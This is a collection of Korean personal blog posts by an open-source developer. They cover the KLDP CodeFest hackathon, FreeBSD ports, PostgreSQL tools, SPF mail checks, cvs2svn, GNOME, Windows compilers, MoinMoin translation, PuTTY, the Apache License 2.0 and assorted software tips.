우리나라 오픈소스계에서는 최초로 멀티플렉스 해킹 행사로 열린 KLDP CodeFest에 다녀 왔습니다. 7월 17일 오전 10시쯤부터 18일 오후 4시까지 진행되었는데, 나름대로 평소라면 긴 주말이었겠는데, 이번엔 워낙 재미있게 보내서 정신차려보니 일요일 저녁이군요. 아쉽습니다. ^^^;;

행사장가는 길

17일 오전에 8시 30분쯤에 ganadist님과 wooil님과 양재역에서 만난 뒤에, 두 이벤트에 쓰일 상품 사 둔 것을 챙긴 다음에 셔틀 버스를 타러 갔습니다. 헛 그런데, ganadist님이 서초구민회관 앞에 늘어선 버스 중에 교육문화회관 버스가 어디 있는지 확인하러 아래까지 한참 갔다 오신 사이에 셔틀버스가 왔다가 쏜살같이 도망가는 바람에, 결국은 마을 버스를 탔습니다. 그런데 마을 버스를 타려는 순간! 앞에서 방준영님과 pyrasis님이 타신 택시가 지나가는..

행사장

아이고 역시 뭔가 문제가 생길 줄은.. 가서 일찍 오신 puzzlet님, sanxiyn님과 만나서 인사를 하고 AP를 설치하는데, 웬걸 이거 고장난 AP였군요.. mithrandir님과 양파님의 도움으로 한참 AP가지고 삽질을 했는데, 플래시롬이 맛이 갔는지, 설정을 아무리 저장해도 랜덤하게 IP가 깨지는.. --; 결국은 회사에 뛰어가서 AP를 하나 슬쩍 빌려 왔습니다. 으흐흐.. 그러나 그 AP마저도 IP는 192.168.0.x, 넷마스크는 255.255.255.0으로 설정했음에도 불구하고 게이트웨이를 192.168.1.x로 설정해야만 하는 상식을 초월하는 이상한 행동을.. (뭔가 씌인게 분명해..;; )

토요일 오후

토요일 오후에는 이제 행사를 본격적으로 시작해서 본격적으로 작업에 들어갔는데, 다들 엄청 진지한 분위기에.. 이야~ 흐흐 근데 아직 파이썬 버그데이 팀에서는 사실 지난주에 py.org의 버그데이에서 쉬운 버그를 다 잡는 바람에 다 잡아놓고 버그만 안 닫은 것 같은 것만 몇개 처리하고 있었습니다~ 흐;

토요일 저녁

토요일 저녁에는 첫 이벤트인 테마 코딩이 있었습니다. 테마 코딩에서는 문제가 3개 나갔는데, 문제지는 여기에 올려뒀습니다. 생각에는 엄청 시끌벅적하게 될 줄 알았는데 문제가 나오자 마자 살벌한 분위기에 모두 키보드만.. 두두두두.. 뭔가 시험장 분위기로 변해버렸습니다. -O- 결과로, 서상현님이 코드 퍼즐 우승, luapz님과 oedalpha님께서 각각 코드긱/코드시인 우승, 준우승을 하셨습니다. 포인터 (*)로 별을 헤신 oedalpha님의 아이디어는 정말 멋있어서 감동을 팍~

일단 오늘은 여기까지.. 내일 이야기가 이어집니다~;; (사진은 CodeFest에 올려뒀습니다. puzzlet님의 감동적인 노트북 쿨링 시스템을 볼 수 있습니다. )

이상한 짓 하기로는 항상 최고급에 속하는 해커 중의 하나인 p-and-q의 Gerson Kurz씨가 얼마전에 reiserfs의 유저랜드 구현을 공개했습니다. 우흐흐 이것 참. 원래 MS 윈도우에서 reiserfs를 어떻게든동 읽어보고자 만든 것이라고 하는데, 이거 정말 대단하네요 흐흐;

원래 윈도우판을 보면 하드디스크 IO를 하는 DLL 2개와 ReiserFS를 쓰는 파티션이 있는지 확인한 뒤에 셸을 열어주는 실행파일로 이뤄져 있는데, IO하는 부분이 유닉스에서는 그냥 블럭 디바이스로 읽게 고치면 되다보니 포팅이 쉬웠는지 벌써 NetBSD pkgsrc에 sysutils/rfstool로 들어왔다고 합니다. 이제 리눅스 사용자들이 프비로 데이타 손실 없이 쉽게 이사올 수 있겠군요~

사실 저는 reiserfs로 된 파티션이 없기 때문에 테스트는 못 해봤는데.. ^^^;; rfstool 다운로드 페이지에서 받을 수 있습니다.

7월 17일,18일간 있을 KLDPCodeFest를 준비하면서 준비팀원분들과 함께 미리 사전답사를 했습니다. 교육문화회관은 양재역에서 마을버스 8번 또는 셔틀버스를 타면 되긴 하는데, 마을버스를 탔더니 카드도 안된다고 삑삑대고 타는 곳도 잘 몰라서 좀 헤메기는 했는데.. 설명을 잘 하면 안 어렵게 갈 수 있을 것 같기도 하네요 --; 왜 이리 외딴곳에 회관을 지어놨는지.. 으흐;;

막상 가 보니까 이름에 비해 상당히 큰데, 예식장도 있고 스포츠센터도 딸려 있는 11층짜리 호텔이었습니다. 로비는 정작 공사중이긴 했지만;;

건물 안이 상당히 복잡한 구조라서 위치를 찾아가기가 상당히 힘든데, 어디 혼자 나왔다가 길 잃어버리기 딱 십상이라.. 되도록이면 혼자 안 돌아다니는 게 좋을듯~; 방은 넓이도 적당하고 괜찮은 듯 하네요. 대여료가 상당히 돼서 그런지, 앞에 뜨거운 물 나오는 급수대도 있어서 좋은 것 같고.. (;;)

사진을 갤러리에 올려 놨습니다. 미리 가실 분들은 구경해 보세용~. 그리고, 행사 중에 재미있는 이벤트가 몇개 있을 예정입니다. KLDP BBS에서 하는 상당히 ㅂㅌ스러운 죠리퐁 놀이 같은 것을 오프라인에서 재현해 볼 예정이고, bzflag대회도 하면서 상품도 아론키보드 같은 게 걸릴 예정입니다. 많이 많이 참가해 주세요~ 에헤헤.

요즘 회사에서 하는 일에서 갑자기 PostgreSQL을 쓰게 돼서 pgsql 관련 문서를 읽고 있습니다. 흐흐. 생각보다 기능도 괜찮고.. MySQL을 쓰면서 이딴거 왜 버클리 DB나 ZODB같은 것 안 쓰고 왜 굳이 SQL로 어렵고 복잡하게 쓰나 생각했는데, 역시 PostgreSQL 매뉴얼을 보고 나니 RDBMS의 R이 중요한거구나 생각이 들면서 이제 RDBMS를 무시하지 않기로 했습니다. 으흐흐;;

SQL은 MySQL에서도 거의 쿼리 문법을 몰라서 phpMyAdmin같은 툴을 썼었는데, pgsql용으로는 좋은게 뭐가 있나~ 찾아 보다보니, databases/phppgadmin 과 databases/pgadmin3 가 눈에 띄었는데, phpPgAdmin은 phpMyAdmin과는 좀 다른 투박한 인터페이스에 좀 불편하기는 했지만 우선 기능은 잘 된다는 것에 만족했습니다. 그런데, pgadmin3는 뭔가 엄청나게 무거운 wxGTK2를 달고 들어가는 것이 뭔가 멋있어보여서.. (..) 한번 시도를 해 봤습니다.

으흐.. 역시 멋있기는 하지만.. 그러나 저 화면이 나오기 까지.. 프로그램을 실행시키고 나서 하드가 드르르륵한 시간이 10분.... 10초가 아닙니다;; 그래도 512MB라고 나름대로 램이 충분하다고 자부심을 가지고 있었건만.. pgadmin3는 뜨자마자 바로 570MB정도를 할당하는데다.. RSS도 기본으로 400MB는... 스왑을 1GB잡았는데 40%까지 벅차오르는 이 감동스런 top 화면이란.. 흐흐;; 잽싸게 vmware, gdesklets, gdick 등등 메모리 많이 먹는 것은 모두 다 내려 봤지만.. 그래도 스왑이 200MB가 들어있어서 이거 완전히 마우스만 움직이면 하드 드르르르륵하는 상황이..

성능 외에 인터페이스 자체는 그런대로.. 만족스러운 것 같긴 했지만, 아무래도 메모리 문제 때문에 충격을 받은 게 심각해서인지, phpPgAdmin보다 훨씬 불편했습니다. (안 쓸 이유를 찾기 위해 짜냄..;; )

내일은 pgaccess를 한번 해 봐야겠네요 으흐흐

얼마 전에 FreeBSD.org에서 SPF 정보를 도메인에 등록하면서, 이제 몇몇 호스트에서 SPF 정책에 맞지 않는 메일을 거부하기 시작했습니다.

SPF는 기존에 From헤더를 그대로 믿어버리는 메일의 특성상, 요즘 특히 많이 발생하고 있는 보낸 사람 조작해서 스팸 보내기를 막기 위한 여러 정책을 설정하는 것인데, 그 중에 가장 독특한 것은 도메인의 TXT 에 기록된 정보를 토대로 진짜 From헤더에 적힌 주소에서 맞게 왔는지 확인하는 것이군요. 즉, SPF 없이는 메일에 보낸 사람을 xxx@yyy.org 라고 썼다면, yyy.org에서 진짜 보냈는지 여부에 상관 없이 xxx@yyy.org라고 보냈다고 사용자에게 최종적인 배달을 해 주지만, 이제 SPF를 받는 측의 SMTP 서버나 MDA에서 처리를 해 주면, 진짜로 거기서 보냈는지 확인을 한 다음에 통과시켜주기 때문에, 아무데서나 내 메일 주소로 보낸 척 하는 것을 막을 수 있는 효과를 얻게 됩니다.

miffy(perky):~% host -t txt freebsd.org 
freebsd.org descriptive text "v=spf1 ip4:216.136.204.119 ~all"
miffy(perky):~% host 216.136.204.119
119.204.136.216.IN-ADDR.ARPA domain name pointer mx2.freebsd.org

지금 freebsd.org는 spf1헤더로 ipv4 주소를 제한하고 있는데, SPF를 지원하는 SMTP 서버로 받는 경우에, 216.136.204.119를 거치지 않은 메일의 헤더에 @FreeBSD.org 에서 보냈다고 돼 있으면 잘못된 메일이라고 튕겨내는 것입니다.

흐흐.. 뭐 엄청나게 교묘해지는 스팸/웜 들로 인해 이제 메일 서버들도 별 짓을 다 해야하게 되는군요.. 오늘은 웬 관악경찰서에서 보냈다는 메일을 받았는데, 한참을 자세히 보니까 메일 헤더에 User-Agent도 없고 SMTP 서버도 전혀 안 거치고 직접 전송을 한데다, 보낸 주소도 하나로 ADSL인 걸로 봐서 스팸으로 .... (이제 스패머들이 경찰 사칭까지..)

흐흐 근데 이제 저도 gmail 사용자라서~~ 스팸 걱정은 안 할랍니다 -ㅇ-;;

지난 주 토요일에 있었던 KLDPConf는 아주 재미있었습니다. (사실 강의는 거의 끝날 무렵 가서 못 들었지만 ^^^;;) 특히 Wine개발자인 Mark는 한국어도 잘 하고 성격도 참 즐거운 분이라 같이 얘기하기 아주 유쾌했습니다.

KLDPConf 뒷풀이에서 예전에 KLDP BBS에서 논의되었던 Hackathon에 대해 얘기를 나누었는데, 공식 명칭은 권순선님의 제안으로 만장일치(;;;)로 KLDP CodeFest로 결정되었습니다. Hackathon은 아무래도 발음하기도 힘들고 Codefest 뭔가 화려해 보이는 기분도 있고 해서 아주 좋네요~ (만족 만족~)

우선은 예상 참가자를 40명정도로 해서 4~5명 단위로 8~10개 정도의 그룹으로 묶어서 활동하기로 했습니다. 원래 Hackathon들은 자유 주제에 그룹이 따로 미리 묶이지는 않지만, 아무래도 KLDP에서 하는 경우에는 전부 같은 프로젝트에서 일하던 사람도 아니고, 관심사가 매우 다르기 때문에, 현장에서 자유롭게 그룹이 왔다갔다 하는 건 시간 상으로나 여러모로 위험할 것 같은 것 같네요. 우선은 그룹이 제가 맡은 "파이썬 버그 잡이" 그룹과, 류창우님의 "데비안 인스톨러" 그룹, 방준영님의 "NetBSD 번역" 그룹 정도가 확정 되었고, 나머지는 추후에 계속 공모될 예정입니다.

"파이썬 버그 잡이" 그룹에서는 몇 주 전쯤에 FreeNode에서 열렸던 Python Bug Day의 한국식 오프라인 버전으로 다시 해 보려고 하는데, 파이썬 버그 트래커에 올라온 것 중 10개 정도를 미리 정해서, 현장에서 버그 분석, 패치, 리뷰, 커밋 까지 모두 해결해버리려고 합니다. 커밋 메시지에 KDLP Codefest에서 했다고 적으면..

사실은 그 외에 FreeBSD 포트도 사실 리뷰를 옆에서 해 주는 사람이 있으면 간단한 것은 1시간에 2개 정도씩은 배우면서도 만들 수 있기 때문에, 그동안 포트됐으면 좋겠다 싶은 소프트웨어를 마음에 품고 있던 분들은 해도 괜찮을 것 같긴 한데.. FreeBSD 포트에 관심있는 분들이 워낙 적은 국내 현실 상 어렵지 않을까 하긴 하는군요. 흐~~;;

아무튼, 7월 17일-18일 정말 기대가 됩니다. 잘 되면 2, 3회 계속 하면 지역화한 hackathon으로 뭔가 slashdot에도 오를 수 있지 않을까 생각을 한 번 해 봅니다. --;;

포트를 올리다 보니 x11/gtkterm2 가 들어왔길래 한번 깔아봤습니다. gtk2를 너무나 좋아해서 gnome-terminal을 쓰기는 하지만, 이 상상을 초월하는 느린 속도와 가끔 얼고서는 2분동안 멎어 있는 게 무서워서 -.-;

아 일단 깔면서 느낀 것은 x11-toolkits/vte 를 쓴다는 것입니다. gnome-terminal이 vte때매 느린 것이 아니었던가! 하고 깜짝 놀라기는 했는데, 하여간 설치를 다 마치고 딱 띄워보니 아주 단촐한 메뉴에, 설정이 모두 .rc 파일에 들어가 있는.. 크크; 딱 필요한 만큼만 구현이 되어있고 속도가 gnome-terminal보다 한 10배는 빠르고 안 멎는 것이 정말 좋았습니다. 물론 한글도 잘 되구요.

그런데, 우선 발견한 몇개 문제는 screen에 들어갔을 때 백스페이스를 ? H 등등으로 다 바꿔봐도 전혀 안 먹고 gtk 클립보드 말고 X11 클립보드에만 오려 붙일 수 있기 때문에, 이게 상당히 답답한 듯 합니다. 인코딩 설정도 없구요 -O-; 그래도, 안 쓰는 기능이긴 하지만, 나름대로 탭도 지원하고.. 우선 속도가 빠른게 마음에 들긴 합니다. 앞으로 조금만 더 다듬어 지면 URL같은 것 때문에 리소스 낭비하는 gnome-terminal을 안 쓸 수 있게 되겠군요.

오랜만에 향수를 하나 샀습니다. 한동안 문화생활을 안 했더니 뭔가 이러다 내가 소스 코드를 생산하는 /dev/perky가 되는게 아닌가 하는 긴장이 ..; 그래서 좀 둘러 보던 중, 그동안은 플로랄 계열의 향이 나는 향수를 아주 싫어해서 영 다른 것들만 샀었는데, 이번엔 남자 향수 중 꽃향기가 가장 많이 난다는 Nikos Sculpture Homme를..;

아 병은 그런대로 예쁜 편입니다. 남자용은 위 사진처럼 생겼고, 여자용은 좀 두꺼운 스포이드처럼 생겼네요. (위 사진 앞에 있는게 스컬프쳐, 뒤에 있는 것은 전에 쓰던 맑은 생수 느낌의 장 아르테스의 CO₂)

우선, 기본 향 스펙은

• 탑노트: 베르가모트, 오렌지 블라썸과 코리엔더 부케향.

• 미들노트: 짙은 시다향.

• 베이스노트: 소프트 바닐라.

인데, 아직 베이스 노트까지는 안 가봐서, 잘 모르겠고~~ 탑노트는 부케향이 정말 강하게 나서, 이게 향만 맡아서는 여자향수라고 생각해도 될 정도군요. 그렇다고 뭐 진짜로 엘리자베스 아덴 스타일의 그 야시시 꽃향기는 아니고.. 다비도프 쿨워터의 미들노트에 섞인 꽃향기와 비슷한 그런대로 살짝 뿌리면 괜찮은 정도입니다~ 뿌린지 한 1시간 뒤부터는 차분한 바닐라향같은 것이 상당히 느껴지는데, 퍼키가 딱 싫어하는 남자 향수들의 시트러스계열 향을 완전히 배제한 것은 참 마음에 드는군요. 흐흐~

전체적으로는 상당히 고급스럽고 자신감있고 배려 잘 하는 남자의 향( ;;;; )으로 느껴집니다. 별 4개 줍니다. 흐흐;;

엊그제 프리젠테이션에 사용한 파일을 업로드 했습니다.

전체 다운로드

아크로뱃 5 이상이나 ggv 최근 버전, Preview.app 등에서 잘 보입니다만, Preview.app이나 아크로뱃 6이상에서 제대로 보입니다. (알파 채널 때문에..)

오늘은 KLDP와 LOGIN에서 공동 주최하는 RevolutionOS 공개 상영회 날입니다. 약 80분간의 본 영화 상영이 끝나고 나서 10분 휴식시간 뒤에 퍼키가 30분정도 오픈소스 프로젝트의 작동 방법에 대해서 FreeBSD와 Python 프로젝트의 사례를 발표합니다. 제 세션은 4시 10분정도에 시작할 예정인데요, 연세대학교 신촌캠 제3공학관 C040에서 합니다. 시간 나는 분들은 많이 참석해 주세요~~ 강당이라 자리 썰렁하면 불쌍해 보입니다. ㅠ.ㅠ -O-;

얼마전에 pypy 체크아웃하면서 설치해본 뒤로, svn에서 디렉토리 지우는 거랑 파일 이름 바꿔보고는 감동해서 조금씩 써보고 있습니다. 회사 프로젝트도 하나 svn에 넣어서 해보고 있는데, 역시 파일이름 마음대로 바꿀 수 있는게 엄청나군요 크크. 아이 좋아~☆

그런데, 원래 CVS로 진행하던 프로젝트를 SVN으로 옮겨보려고 하니 히스토리를 잃어버리는게 좀 찝찝해서 찾아보니 역시 cvs2svn이라는 게 있네요. 게다가 파이썬 스크립트! 그리고, 데비안과 핑크에도 이미 패키지가!! 아 이런 중요한 소프트웨어가 프비에만 없다니! 흐느끼며 바로 포트를 만들었습니다. converters/cvs2svn 헤헤 데비안은 직접 manpage까지 써서 넣긴 했는데.. 영어의 한계를 느껴서.. 포트에는 차마 man까지 써서는 못 넣고; 흐 _-_

음 그래서 프로젝트 하나를 cvs2svn으로 바꿔봤습니다. 방법은 간단하게

cvs2svn -s /svnroot/coolwater /cvsroot/coolwater/coolwater

뭐 대충 요런 식입니다. -s뒤에는 subversion 루트를 써 주고, 뒤에 CVS 루트를 써주면 됩니다. 인코딩도 지정할 수 있고 좋네요. 이제 앞으로 subversion만 써야지~~~ (라고는 했지만 이미 포트부터가 CVS로 넣은... ;; )

오늘 python-dev에 어떤 사람이 libjit얘기를 올려서 구경해 봤습니다.

libjit는 GNU lightning하고 비슷한 JIT 라이브러리인데, DotGNU프로젝트로 유명한 Southern Storm에서 만들었습니다. 대충 내용을 살펴보니 lightning이 몇년동안 열심히 만들어 봐야 아주 기초적인 매크로를 이용한 1:1 번역밖에 못하고 있는 반면에, libjit는 코드 최적화, 레지스터 자동 배치, 코드 캐쉬 지원, 동적 재배치 지원, 지원하지 않는 머신에서 인터프리터로 폴백 지원 등등 기본적인 JIT 기능은 다 갖추었습니다. +_+ 그런데, lightning은 완전히 매크로에 인라인 어셈블로 거의 다 처리되고 있는 반면에, libjit은 C++로 내부적으로 구현이 되어있어서, 어느정도 확장성도 있어 보이는군요. lightning도 뭐 물론 나름대로 간단해서 포팅이 아주 쉽다는 장점이 있지만, libjit의 등장으로 좀 "빛"을 잃지 않았나 싶군요. 크크.

그런데, libjit은 GPL로 선언되어있기 때문에, 파이썬에서는 못 씁니다. 으흐;; 뭐 psyco처럼 외부 jit을 libjit기반으로 만드는 것 정도는 괜찮을 듯도 싶습니다. 다음에 시간날 때 좀 더 자세히 갖고 놀아 봐야징 =3

포트는 일단 만들어 뒀는데, 지금 프리즈 기간이라 넣지 못했으니 설치해보고 싶으신 분은 포트 shar을 받으셔서 설치해 보세요~

그동안 딸리는 하드웨어 핑계로 1년 전부터 XFce를 쭉 써 왔었는데, 우연히 rhythmbox깔다가 덩달아 깔리는 nautilus를 실행해 보고서는 깊은 인상을 받아서 그래 까는 김에 그놈을 다 깔아보자 하는 생각으로.. (사실은 gnome-session-daemon과 xfce-mcs-daemon이 충돌해서 같이 안 뜨는 문제때매 --; ) 그놈 2.6.1 기본 세트를 다 깔고 말았습니다.

설치하는데는 한 4시간 정도 걸린 것 같은데, 컴파일 해놓고 여기저기 밥먹고 회의하고 오니 다 끝나 있더군요. ^^; 역시 대형 포트는 쓰는 사람에게 삶의 여유를 주는~~ (..)

헉. 그런데, 옛날에 그렇게 느리던 그놈이 더이상 옛날의 그놈이 아닌 것입니다. 애니메이션 효과때문인지, 오히려 XFce보다 2배는 더 빨라 보이는.. 특히 gnome-terminal의 경우에는 XFce에서 띄우면 마우스로 드래그할 때 꽤 버벅대면서 선택이 되는데, 그놈에서는 전혀 문제가 없군요.. 역시 나만 세상을 모르고 살았구나 하는 슬픔이.. 흑흑. => 그놈 2.6.1에서 잠시 찍은 스크린샷~

아. 그런데, 뭔가 하나 발견하고 유용하게 쓰고 있는 기능이 있습니다. 와와 바로 강제 휴식시간 기능.. 흐흐. HHK를 쓸때야 팔이 아파서 60분마다 쉬게 되지만, 아론 키보드를 쓸 때는 팔이 안 아파서 안쉬게 되는 바람에 눈이 막 침침해지는데, 강제로 60분마다 3분씩 화면을 가려버리고 키보드와 마우스를 안 먹게 만들어서 쉬게 만들어주는.. 크크.. 덕분에 어제도 60분마다 나가서 밖에 먼 곳 보면서 놀다가 들어오니까, 뭔가 눈이 금방 안 피곤해져서 역시 효과를 톡톡히 봤습니다. 60분이 되면 이렇게 뜹니다. 흐흐;

정부는 국민 건강을 위해서 국민건강증진법에 전국민 그놈 사용 장려정책을 시행하라~ 시행하라~

공짜 윈도우 C/C++ 컴파일러는 대표적으로 MS Platform SDK에 들어있는 표준 컴파일러, DDK에 들어있는 드라이버 컴파일러, cygwin, MinGW, Borland C++, OpenWatcom C++ 같은 것이 있겠지만, Borland C++과 OpenWatcom은 아무래도 MS C와의 차별화때문에 완전한 호환성을 좀 피하고 있는 듯하고, cygwin은 독자적인 플랫폼 수준이기때문에, MS것과 MinGW가 선택할 수 있는 양대 도구라고 볼 수 있겠습니당.

얼마 전에 Tim이 메일링리스트에 올렸던 좋은 소식으로 4월 14일에 Visual C++ Toolkit 2003이 릴리즈되었다고 합니다. 그동안 MS의 무료 컴파일러들은 DDK에 있는 것을 제외하고는 전부 최적화를 지원 안 하는 표준 에디션이었는데, 이번에는 최적화를 지원하는 온전한 VC.NET 2003 호환 컴파일러란 것이 특성이네용. +_+

그런데, 써본 결과로는 안에 들어있는 툴이 cl.exe와 link.exe와 몇가지 언어 런타임 헤더, 극소수의 라이브러리 뿐이라서, 제대로 컴파일하려면 Platform SDK가 필요할 뿐만 아니라, 심지어 그걸로 모자르기도 합니다. dynamic loading이나 쓰레딩을 쓰려면 MSVCRT가 필요한데 그게 없는 것 Y.Y. 물론 implib같은 걸로 만들면 된다는 awkn`n님의 말씀이 있긴 하지만, 그래도 웬만하면 기본으로 있으면 하는데 실망입니다. 흐흐. 파이썬을 한번 컴파일을 해 봤는데, rc.exe가 없어서 Platform SDK것을 쓰고, coff로 변환하는 것이나 몇가지 툴을 보완하고 msvcrt를 넣어주니까 되기는 하는군요. 흐흐 근데 아직 완전히 free 툴로만 컴파일하려면 설치하고도 한참 삽질을 해야하는게, Platform SDK의 win32부분만 떼내고 VCT를 합쳐서 컴파일 환경으로 배포해 줬으면 좋겠네용~

그리고, MSYS는 오랜만에 한번 다시 파이썬을 컴파일해 볼까하는 심정에 깔아봤는데, 오우 cygwin에 못지않은 완벽함을 보여주는군요. rxvt를 기본 터미날로 채택한 것을 비록하여 정말 멋있는 것 같습니다. 그런데, 아직 파이썬이 MinGW를 완전히 지원하지 않아서, posixmodule.c를 한 30줄 정도는 고쳐야하고 pyconfig.h도 수동으로 20줄정도는 고쳐줘서 컴파일은 끝냈는데, 아직 실행하면 pty와 관련되서인지 인터랙티브 환경이 안 뜨는군요. -ㅇ-; 좀 더 삽질해서 MinGW만으로도 컴파일될 수 있게 해봐야겠습니다~

그동안 haskell 분야 같은 약간은 구석진 부분에서 나름대로 숨어서 오픈소스에 참여하고 있던 Microsoft가 드디어 공식적인 첫 오픈소스 프로젝트를 발표했군요! 딱 날자가 4월 5일인 걸로 봐서는 왠지 4월 1일 근처에 발표하면 거짓말이라고 그럴까봐 좀 늦춘게 아닐까 하는 생각이 드는군요 흐흐;

그 프로젝트의 주인공은 바로 WiX 입니다. WiX는 XML을 기반으로해서 MSI SDK기반 인스톨러를 자동으로 만들어 주는 것 같은데, NSIS나 InnoSetup같은 기존 오픈소스 윈도우기반 인스톨러 프로젝트들이 엄청 위협을 받겠네용~ 라이센스는 GPL과는 호환되지 않지만 OSI 인증 라이센스인 CPL을 사용하는데, CPL은 거의 MPL과 비슷해서 크게 쓰는데 문제는 없는 수준입니다. 처음 시작하자 마자 바로 CVS에 소스도 다 넣어놓고 완전한 소스포지 스타일을 소화하고 있는 걸 봐서는 그동안 얼마나 하고 싶었는지가 짐작이 가는군요~~

그나저나, 아무래도 이것은 MS 경영진들의 허락을 충분히 받았을 터인데, 작년부터 Mono팀과 MS .NET/Indigo팀이 상당히 친한 것을 과시한데다 OSCON까지 참여할 정도이니 MS가 설마 SCO 자금대면서 앞으로는 GPL죽이기를 시도하면서 뒷구멍으로는 오픈소스에 슬금슬금 다가오는 것인지.. 으음 의중을 잘 모르겠군요~ 흐흐. 하여간 오픈소스들에 MS가 본격적으로 참여하기 시작했다는 점에서는 아주 반갑습니다.

(링크 제공 fender님)

소스포지가 그동안 5달러 주면 옆에 노란색 기어를 달아주더니만, 이제 드디어 본격적인 아바타 장사를 시작했습니다. 10달러까지는 회색, 50달러까지는 노란색 뭐 이런식으로 돈 낸것에 따라서 기어 색깔도 바꿔버리고 별 이상한 옵션가지고 유료 프리미엄 가입자도 만들어버리고 -.-;;

뭐 정확히는 아바타는 아니고 아이콘을 파는 것이지만.. 아바타 안 사준다고 가출하고 삥뜯어서 아바타 사는 요즘 초등학생들이 생각나는군요... (..) 엄마 소스포지 아이콘 안 사주면 가출할테야~ ;;

소스포지도 살 길을 마련하긴 해야하지만.. 아이콘을 이렇게 많이 도배하는 건 좀 보기가 안 좋은 것 같네요.. 프리미엄 프로젝트가 되면 백업을 좀 더 잘 해준다던지, 그 지긋지긋한 비정기점검 좀 막아준다던지.. 외부에서 XMLRPC로 트래커 가져갈 수 있게 해 준다던지 하는 혜택으로 돈버는 게 차라리 낫지 않을까 하는..

어느날 orkut에서 한동안 연락을 못했던 moinmoin 개발자인 Thomas Waldmann이 연락을 해 와서 깜짝 놀랐는데, 1.2가 곧 릴리즈할 예정이니 한국어 메시지를 얼른 번역해 달라더군요; 으흐 메일 주소가 바뀌어서 연락이 안 됐다는.. (원래 개발자인 Jürgen Hermann은 바빠서 요즘은 참여하고 있지 않다고 합니다.) orkut은 번역을 싣고~~

결국 좀 늦기는 했지만, 1.2에 다행히 한국어 메시지 업데이트해서 들어가긴 했습니다. 이번 1.2 번역에서는 "페이지"를 문맥에 따라 대부분 "글"이나 "쪽"으로 바꾸었고, 다른 것들도 영어 발음으로 쓰던 것들 몇개를 한국어로 바꾸었습니다.

1.2의 가장 큰 특징은 패스워드 로그인이 제대로 된다는 것과, 테마 기능이 들어갔다는 것, 프론트엔드로 CGI, FCGI, mod_python, standalone 등등 여러개 중에 선택이 가능하다는 등등 아주 그동안 필요하던 여러개들을 골고루 다 갖추고 있다는! 모인모인 1.2야말로 진정한 1.x 릴리즈가 아닐까 합니다. 크크

http://openlook.org/wiki/ 에서는 아직 바닐라 모인모인 1.2을 그대로 쓰고 있으니, 모인모인 1.2 구경은 여기서~

CSS를 사용하지 않으려면 "None" => 사용자 CSS를 사용하지 않으려면 비워두세요. 이건 확실히 틀린 곳이고, 그밖에 1.2로 바뀐 내용과 안 맞는 부분이 좀 있네요.

그밖에도 좀 불만이 있지만, 1.2가 완전히 utf-8 기반이 아닌 어정쩡한 상태라 생기는 문제들이라 여기에 쓰기는.. i18n을 하기는 할건지, 여기저기 난무하는 유럽어들의 흔적.

그래도 확실히 좋아졌으니 SFReaders도 1.2로 이사 준비중.. :)- cdpark

윈도우용 SSH 클라이언트로 유명한 PuTTY의 포트가 FreeBSD에 security/putty 로 들어왔기에 호기심에 깔아봤습니다.

예전에 pterm만 있던 때에는 터미날만 만들다니~하고 실망을 했었는데, 이번 버전 0.54에서는 윈도우용 푸티 풀세트를 모두 갖춰서 pscp, psftp, puttygen, plink, puttytel, putty 모두 있습니다~ 와와와. GUI까지 완벽하게! Qt나 GTK, wx같은 크로스 플랫폼 GUI 툴킷에 의존한 것이 아니라, 순전히 자기 자체의 추상화로 Win32 API, GTK를 비슷하게 지원했다는 사실이 정말 대견하군요~ +_+

아직 GTK1.2기반이라 한글도 제대로 안 나오고 그렇지만, 앞으로 언젠가 GTK2 기반으로 올라가면 gnometerminal을 위협할 아주 훌륭한 상대가 될 수 있을 것 같습니다. 게다가 openssl이나 openssh에 전혀 의존하지 않는다는 점도!

httpd, mod_python, mod_perl, jakarta, avalon, tomcat, resin 등으로 유명한 오픈소스 웹계의 최대 그룹 아파치 파운데이션에서 사용하는 라이센스가 2월 1일자로 2.0으로 업데이트된다고 합니다. ==> Apache License 2.0

2.0에서 주로 바뀌는 점은 그동안 특허문제나 GPL 호환성 문제 등 라이센스에 명확히 표기되어있지 않았던 것들을 확실히 하는 것이라고 하는군요. 아파치 라이센스 2.0의 등장으로 이제 아파치 파운데이션의 프로그램들도 GPL 호환성을 갖추게 되어서, 이제 GPL 프로그램을 아파치에 링크하는 것이 합법적으로 허용됩니다. 그렇지만, OpenSSL이 GPL과 여전히 호환되지 않기 때문에, mod_ssl을 openssl로 올린 상태에서는 GPL 프로그램들을 링크하는 것은 여전히 법적으로 깨끗하지 않습니다.

으흐흐. 3년동안 모르고 있었던 이 좋은 기능을;; -ㅇ- screen도 pgup이 가능하네요! (나만 모르고 있었나;;)

바로.. 그것은.. Ctrl-A [ 누르면 들어가는 카피모드에서 pgup/pgdn이 된다는 것~! 물론 ctrl-f ctrl-b도 되구요.

.. 영 쓸모 없는 줄 알고 있었던 copymode인데 스크롤이 되는군요 흐흐; 스크롤 저장 줄 수는 .screenrc에서 defscrollback 1000 을 써주면 1000줄씩 저장된답니다. 와와~~

동영상 볼 때마다 정말 절실했던 기능 "항상 맨 위에"가 드디어 XFwm에도 들어왔네요. 흑흑 그동안 동영상 보려면 구석탱이에 띄워놓고 다른 프로그램 안 겹치게 조절하느라 힘들었는데.. 이제 XFce유저들에게도 봄이 온 것입니다~ 으훗.;;

Master^Shadow라는 사람이 패치한 것인데, 바로 CVS에 적용이 된 듯 합니다. 패치를 받아서 설치해 보니 무척 잘 되는군요. ^_^ 요즘 열심히 보고 있는 Walking with Dinosaurs를 "항상 맨 위에"로 띄운 것

우리의 영명한 교주이신 구글님이 우리에게 또 문명의 이기를 안겨주셨습니다. ㅡ.ㅜ 이름하여 구글 데스크탑 바. 우연히 FreeNode에서 들었는데, 윈도우용임에도 불구하고 모두들 찬사를 아끼지 않은 흑흑~ 이제 윈도우에서의 삶이 백배 편해졌군요. ;;

그냥 데스크탑에 딱 입력창을 만들어서 바로 입력하면 미니창이 떠서 거기서 검색결과를 보여주는데.. 이거 검색 속도가 장난이 아닙니다. 아무래도 인터넷 익스플로러 플러그인을 미리 띄워놓고 SW_HIDE만 시켜놓고 있다가 보여주는 듯 한데, 메모리야 먹던 말던 결과가 이렇게 빨리나온다면야! +_+. 단축키는 Alt-Ctrl-G 인데, 클립보드에 뭐가 있으면 클립보드를 디폴트로 박아줍니다. 세상에 이제 파여버드는 찬밥; _-_

여기서 끝나는게 아닙니다. 진가는 바로 커스텀 서치! 사용자가 서치 URL을 직접 지정할 수 있게 되어있는 것입니다. 와와~~

